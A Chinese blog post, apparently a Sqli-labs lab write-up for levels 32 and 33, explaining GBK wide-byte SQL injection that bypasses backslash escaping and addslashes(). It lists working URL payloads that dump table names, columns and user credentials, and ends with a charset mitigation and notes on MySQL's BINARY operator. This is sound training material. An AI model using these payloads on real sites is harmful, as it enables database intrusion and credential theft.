Sqli-labs之Less-32和Less-33

                                                     Less-32

GET-绕过自定义筛选器,将斜杠添加到危险字符。即基于错误_GET_单引号_字符型_转义引号反斜杠_宽字节注入

从上一篇文章中我们了解到了宽字节注入的原理,这里就不多说了:

我们可以先看下核心源码:

可以看到这个函数是个过滤\'"的函数,分别在前面加上\

步骤1:确定宽字节注入

11'1"都能正常回显,可以猜测输入的引号被过滤,从页面给的 hint 也证实了这一点。

猜测是引号是被转义而并非被纯粹过滤,尝试宽字节注入:

?id=1%df%27        这样写是一样的:?id=1%df'      单引号'在提交时会自动url编码为%27

?id=1%df%22

(注意:

GET型的方式我们是以url形式提交的,因此数据会通过url编码,其实url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”。比如“\”,它的ascii码是92,92的十六进制是5c,所以“\”的url编码就是%5c。那么汉字的url编码呢?很简单,看例子:“胡”的ascii码是 -17670,十六进制是BAFA,url编码是“%BA%FA”。 (汉字转ASCII码:默认情况下,是使用扩展ASCII,第一个字节为负数时(或理解为127以上)是识别,加后一个字节共两个字节。想了解更多自行查阅资料)

那么我们输入1%df%27,被转义为1�\',经过url编码后为%31%df%5c%27,然后提交给数据库,在使用GBK编码的数据库会进行解码,于是变成了1瀿'        df5c就是一个宽字符,我不知道是啥汉字就用了'瀿'来代替,再说一下这个�是乱码,原因是两个不同字符集编码转换问题导致的(比如:GBK和Unicode))

有错误回显,从其中可以看到被单引号闭合,所以这是单引号-宽字节注入。

若无错误回显,可注释后面的查询语句:

?id=1%df%27--+

或者使用第二种方法:(不懂看上一篇文章)

?id=1%df%5c%5c%27--+

已经确定了单引号闭合且宽字节注入可以绕过,剩下的就是正常的注入,无其他过滤条件。
因未过滤注释,所以只有开头的单引号需要宽字节注入。

暴库:

?id=-1%df%27 union select 1,2,database()--+

爆表:

?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

或者:(将security转换为16进制)

?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+

暴字段:

user转换为16进制:0x7573657273

?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479--+

暴数据:

?id=-1%df%27 union select 1,group_concat(username,0x7e,password),3 from security.users--+

或者这样写(都是一个意思)

?id=-1%df%27 union select 1,group_concat(username,0x7e,password),3 from users--+

====================== 分隔符 ==================                                  

                                               Less-33 

GET型-绕过AddSlashes()函数

Less 32 是自定义的过滤器,本关直接使用了 PHP 的addslashes()函数,在 Less 17 中介绍过:

addslashes()与stripslashes()函数

addslashes(string)函数返回在预定义字符之前添加反斜杠\的字符串:

  • 单引号 '

  • 双引号 "

  • 反斜杠 \

  • 空字符 NULL

该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。

注意:默认地,PHP对所有的GET、POST和COOKIE数据自动运行addslashes()。所以不应对已转义过的字符串使用addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数get_magic_quotes_gpc()进行检测。

stripslashes(string)函数删除由addslashes()函数添加的反斜杠。

判断和注入过程同 Less 32 完全相同。

看下核心源代码:

演示一个暴表:

?id=-1%df%27 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x7365637572697479--+

Notice:使用 addslashes(),我们需要将 mysql_query 设置为 binary (即二进制)的方式,才能防御此漏洞。
Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);

注:

MySQL居然不区分大小

可以使用binary将字符串先转换为二进制字符串,在进行比较、

 

MySQL中使用binary查询字符串 

通过看MySQL手册可以知道,默认情况下,对MySQL数据库中的字段进行查询或者排序都是不区分大小写的。

但是在有些应用中,需要进行区分大小写的操作,咋办?

答:使用BINARY操作符

BINARY操作符将后面的字符串抛给一个二进制字符串。这是一种简单的方式来促使逐字节而不是逐字符的进行列比较。这使得比较区分大小写,即使该列不被定义为 BINARY或 BLOB。

BINARY影响整个比较;它可以在任何操作数前被给定,而产生相同的结果。

###解决方法

1、第一种是在创建表结构时候使用binary属性来定义字段:


 
 
  1. create table if not exists user(
  2. id int unsigned primary key auto_increment,
  3. name varchar( 32) binary,
  4. ) engine=myisam;

或者在表结构创建好后使用alter来添加字段binary属性

alter table user modify name varchar(32) binary ;

 
 

2、第二种方法是在sql语句中使用bianry来进行区分大小写操作:


 
 
  1. SELECT * FROM user where name= binary 'maratrix';
  2. 或者
  3. SELECT * FROM user where binary name= 'maratrix';

进过测试发现,使用SELECT * FROM user where name=binary 'maratrix';效率更高点,原因是将binary放在字符串前会使用索引(假设该字段存在索引),而将binary放在字段前面将不会使用索引,即使索引存在也不会使用。

###注意

在一些语境中,假如你将一个编入索引的列派给BINARY, MySQL 将不能有效使用这个索引。

 

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值